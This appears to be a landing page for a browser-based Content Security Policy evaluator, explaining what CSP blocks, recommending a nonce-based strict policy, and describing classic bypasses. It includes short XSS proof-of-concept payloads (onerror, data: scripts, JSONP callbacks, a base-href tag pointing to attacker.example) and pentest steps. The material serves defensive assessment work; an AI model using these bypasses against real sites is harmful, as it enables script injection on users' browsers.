Free tool · runs in your browser
CSP Evaluator
Powered by CSP Evaluator (Google) · Apache-2.0
01Analyse
Paste a raw value, a Content-Security-Policy line, a full HTTP response (curl -i) or a <meta http-equiv> tag.
CSP3 for current browsers. CSP1 and CSP2 show how an older browser reads the fallbacks.
Verdict
Fix first
Policies
02Directive by directive
The breakdown of each policy appears here.
03Hardened starting point
A nonce-based strict CSP, as recommended by Google on web.dev. It is a starting point to adapt: every response must carry a fresh random nonce (at least 128 bits, base64) in place of {RANDOM}, and every legitimate <script> tag must get the matching nonce attribute.
script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none' The frame-ancestors, form-action, report-uri and report-to directives of the analysed policy are kept when it has them. https: and 'unsafe-inline' are only fallbacks: CSP3 ignores them alongside 'strict-dynamic' and the nonce.
Deploy it first as Content-Security-Policy-Report-Only with a reporting destination, fix the violations (onclick handlers, javascript: links, scripts without a nonce), then switch to enforcement.
What is CSP?
CSP, or Content Security Policy, is a policy that tells a browser which resources a page may load and which forms of script execution it permits. Usually delivered in an HTTP header, it helps limit exploitation of XSS vulnerabilities without fixing the injection itself.
What a CSP blocks, and what it lets through
A Content Security Policy (W3C Content Security Policy Level 3) is a set of rules the server sends with the page. The browser then refuses to load or run anything they do not allow.
Against cross-site scripting, a sound policy blocks injected inline scripts, event handlers such as onerror, javascript: URLs, eval() and scripts loaded from a domain that is not allowed.
It does not remove the injection itself. HTML injection remains possible: markup left open (dangling markup) can exfiltrate page content to an allowed image source, a fake form can post to an external domain if form-action is missing, and an allowed script that reads the DOM can run what the attacker puts there (DOM XSS, library gadgets).
The header does not protect against CSRF either, and only covers clickjacking through frame-ancestors. A CSP is defence in depth: the vulnerability to fix is still the injection.
Classic bypasses
In 2016, Lukas Weichselbaum, Michele Spagnuolo, Sebastian Lekies and Artur Janc (Google) analysed the policies deployed on the web in “CSP Is Dead, Long Live CSP!” (ACM CCS 2016). They found bypasses in 94.72% of distinct policies, and 14 of the 15 domains most often allowed for scripts hosted exploitable endpoints. CSP Evaluator came out of that work.
'unsafe-inline', wildcards and bare schemes
'unsafe-inline' in script-src cancels most of the protection: <img src=x onerror=alert(1)> runs. A * wildcard, or a bare scheme such as https:, allows a file hosted on the attacker’s server. data: allows a script encoded in the URL: <script src="data:text/javascript,alert(1)">.
JSONP on an allowed domain
A JSONP endpoint returns JavaScript whose function name comes from a parameter, often callback. If the domain is allowed, <script src="https://allowed-domain/endpoint?callback=alert(1)//"> runs code chosen by the attacker, with the policy’s blessing. Large domains (Google, Yandex, Alibaba…) host many of them; the library keeps a list and the tool shows the endpoint it matched.
AngularJS and library gadgets
An allowed CDN that serves AngularJS lets the attacker load the library, then inject an ng-app template: AngularJS evaluates the expressions between braces with its own interpreter, with no inline script. The exact expression depends on the version (the expression sandbox was removed in 1.6); the PortSwigger XSS cheat sheet lists the variants. The same idea applies to script gadgets in other libraries (Lekies et al., “Code-Reuse Attacks for the Web”, ACM CCS 2017): legitimate code turns harmless HTML into execution.
base-uri, object-src and 'self'
Without base-uri, a <base href="https://attacker.example/"> tag injected before a relative script redirects its loading, including a script that carries a valid nonce. Without object-src 'none' or default-src, <object> and <embed> load active content; Flash left browsers in 2021, but the directive is still the rule.
Finally, 'self' is bypassed as soon as the origin serves a file the attacker controls: an upload served with a JavaScript type, an internal JSONP endpoint or a copy of AngularJS.
Strict CSP: nonce or hash, and 'strict-dynamic'
The conclusion of the 2016 paper is to stop basing trust on domains. A strict CSP allows scripts by a nonce, a random value regenerated for every response and repeated in the nonce attribute of legitimate tags, or by the hash of their content for a static page.
'strict-dynamic' extends trust to the scripts those scripts create themselves, which keeps library loaders working, and makes CSP3 ignore hosts, schemes and 'self'. https: and 'unsafe-inline' stay as fallbacks for older browsers, which ignore them once they understand the nonce.
The form recommended by web.dev is the one offered in section 03: script-src 'nonce-…' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none'. Its limits are known: a static or cached nonce protects nothing, an injection placed before a nonced script can try to hijack it, and DOM XSS goes through trusted scripts. require-trusted-types-for 'script' handles that last case by requiring a Trusted Types policy for sinks such as innerHTML.
Report-Only, meta tags and multiple policies
The Content-Security-Policy-Report-Only header blocks nothing: it only sends violations to report-uri or report-to. It is the right deployment step, and false protection if the policy stays there. The tool flags it and computes its verdict “as if enforced”.
A <meta http-equiv="Content-Security-Policy"> tag only applies to the content that follows it, and cannot carry frame-ancestors, report-uri or sandbox, which browsers ignore; Report-Only does not exist in a meta tag. When several policies are enforced (several headers, a comma-separated value, a header and a meta tag), the browser applies all of them: adding one can only restrict further.
Testing a CSP during an engagement
Collect the real headers page by page (curl -si https://target/ | sed '/^\r$/q'): the policy often differs between the application, error pages, the API and legacy routes, and a meta tag may add to it. Paste the raw response here; the tool keeps only the CSPs. Then check the mode (Report-Only or enforced) and whether the nonce changes when you reload.
For every allowed host, look for a JSONP endpoint (callback, jsonp, cb parameters), a copy of AngularJS or an upload service, on that domain as well as on 'self'. Confirm in a real browser, console open, that the payload runs without a violation. In the report, describe the full chain: the injection, then the policy bypass that makes it exploitable.
?Frequently asked questions
Is the policy I paste sent anywhere?
It is not sent anywhere: the analysis runs in your browser with CSP Evaluator, Google’s Apache-2.0 library that also powers csp-evaluator.withgoogle.com. The tool contacts none of the hosts named in the policy: bypasses come from the lists built into the library.
What do “Possible high”, “Possible medium” and “Strict CSP” mean?
The “possible” severities flag a risk that depends on what the allowed sources serve: a listed host with no known bypass, or 'self', which becomes exploitable if the site hosts JSONP or uploaded files. “Strict CSP” groups the advice for moving from a host allowlist to a policy based on nonces or hashes. “Ignored” marks a value the browser does not read at the chosen version.
Why is 'self' flagged?
'self' allows any file served by the origin. If the application exposes a JSONP endpoint, a copy of AngularJS or user uploads served with a JavaScript type, an attacker loads them from the same origin and the policy lets it happen. The finding is a prompt to check those three cases.
How does the tool handle several CSP headers?
Each enforced policy adds to the others: a resource must satisfy all of them. The tool evaluates each policy on its own, then bases the verdict on their combination: for scripts, the strictest policy wins, and a directive only counts as missing when no policy sets it. Report-Only policies are shown separately, since they block nothing.
Does “No known bypass” mean the CSP is safe?
The verdict means the library finds no dangerous keyword and no host from its bypass lists. Those lists are not exhaustive: an allowed host can serve a JSONP endpoint they do not know. A strict CSP with a nonce and 'strict-dynamic' removes that reliance on lists, and Trusted Types covers the DOM XSS that CSP alone does not stop.
Which CSP version should I choose?
CSP3 matches current browsers. Versions 1 and 2 are for checking fallbacks: in CSP1 a nonce is not understood and 'unsafe-inline' becomes active again; in CSP2 'strict-dynamic' does not exist and listed hosts count again.
+More tools
- 0x7fSSRF Toolkit
IP address variants to slip past a filter, cloud metadata endpoints.
- ⟲Forge
Encoding and decoding recipes, exportable to CyberChef.
- {·}JWT Inspector
Decode a JWT, verify its signature, spot weaknesses.
Technical assessment
Request an application or infrastructure assessment
For an assessment by our team, specify the systems involved, available access and requested tests in your enquiry.